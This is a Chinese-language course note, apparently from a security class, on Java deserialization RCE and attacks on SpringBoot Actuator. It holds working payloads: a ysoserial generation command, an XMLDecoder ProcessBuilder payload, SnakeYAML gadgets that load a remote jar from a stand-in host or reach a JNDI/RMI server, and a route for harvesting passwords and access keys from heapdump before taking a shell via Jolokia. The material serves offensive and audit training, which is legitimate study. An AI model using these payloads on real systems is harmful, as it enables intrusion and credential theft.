一、Java 原生反序列化
1. 基本原理
-
序列化:对象 → 字节流
-
反序列化:字节流 → 对象
-
特征
- 16进制:ac ed 00 05
- Base64 开头:rO0AB
-
漏洞本质:可控数据进入反序列化入口,触发恶意 readObject 实现 RCE。
2. 常见反序列化入口(白盒审计关键词)
- ObjectInputStream.readObject()
- XMLDecoder.readObject()
- SnakeYAML.load()
- JSON 类:Fastjson、Jackson(上节课内容)
3. 利用工具
-
ysoserial:最经典,生成反序列化 Payload
-
SerializedPayloadGenerator
-
Yakit 插件:图形化一键生成
-
生成命令示例:
java -jar ysoserial-all.jar CommonsCollections5 "cmd /c calc" | base64 -w0
4. 三类反序列化漏洞演示
(1)readObject 原生反序列化
漏洞代码:
ObjectInputStream in = new ObjectInputStream(stream);
in.readObject();
- 依赖第三方库利用链,如 CommonsCollections
- 必须根据目标依赖选择对应利用链
(2)XMLDecoder 反序列化 RCE
漏洞代码:
XMLDecoder decoder = new XMLDecoder(is);
decoder.readObject();
Payload:
<java>
<object class="java.lang.ProcessBuilder">
<array length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"/>
</object>
</java>
直接执行系统命令。
(3)SnakeYAML 反序列化 RCE
Yaml 可指定类与构造方法,高危。
Payload 1(远程加载 jar):
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://x.com/evil.jar"]
]]
]
Payload 2(结合 JNDI):
!!com.sun.rowset.JdbcRowSetImpl {
dataSourceName: 'rmi://x.x.x.x/exp',
autoCommit: true
}
受 JDK 版本、环境限制。
二、SpringBoot 框架攻防
1. 核心风险点:Actuator 未授权访问
Actuator 是 SpringBoot 监控组件,配置不当会泄露大量敏感接口:
- /actuator
- /env / /configprops:泄露配置、密钥、数据库账号
- /heapdump:内存镜像,可提取密码、AK/SK
- /jolokia:可配合 JNDI 实现 RCE
2. SpringBoot 识别方法
-
白盒:看 pom.xml 是否引入 spring-boot-starter-actuator
-
黑盒:
- 白标签报错页
- favicon.ico 小叶子图标
- Wappalyzer、OWASP PentestKit 插件
- 直接访问 /actuator
3. 黑盒利用工具清单
- SpringBootVulExploit(LandGrey):利用合集
- SpringBoot-Scan:批量扫描 Actuator 接口
- APIKit(Burp 插件):被动发现 Actuator 泄露
4. heapdump 利用(实战高频)
-
访问 /actuator/heapdump 下载内存文件
-
工具解析:
- JDumpSpider
- heapdump_tool
-
可搜索关键字:
- password
- accessKey
- secret
- jdbc
- token
5. SpringBoot RCE 利用路线
-
Jolokia + Logback JNDI RCE
-
流程:
- 启动本地 JNDI 服务
- 利用工具打 Jolokia 接口
- 成功后可接冰蝎/蚁剑
三、实战审计思路(本节重点)
-
看是否 SpringBoot → 扫 Actuator
-
看 heapdump/env → 拿账号密码、AK/SK
-
看依赖库(pom.xml)
- commons-collections → 反序列化
- log4j、fastjson → 组件漏洞
-
找反序列化入口函数:readObject、XMLDecoder、YAML#load
-
不出网用 DNSlog,出网用 JNDI/RMI 拿 Shell
四、极简总结
- Java 反序列化 = 可控字节流 + readObject 等入口 + 利用链 = RCE
- SpringBoot 高危点 = Actuator 未授权访问 + heapdump 信息泄露 + Jolokia RCE
- 工具:ysoserial、Yakit、SpringBootScan、heapdump_tool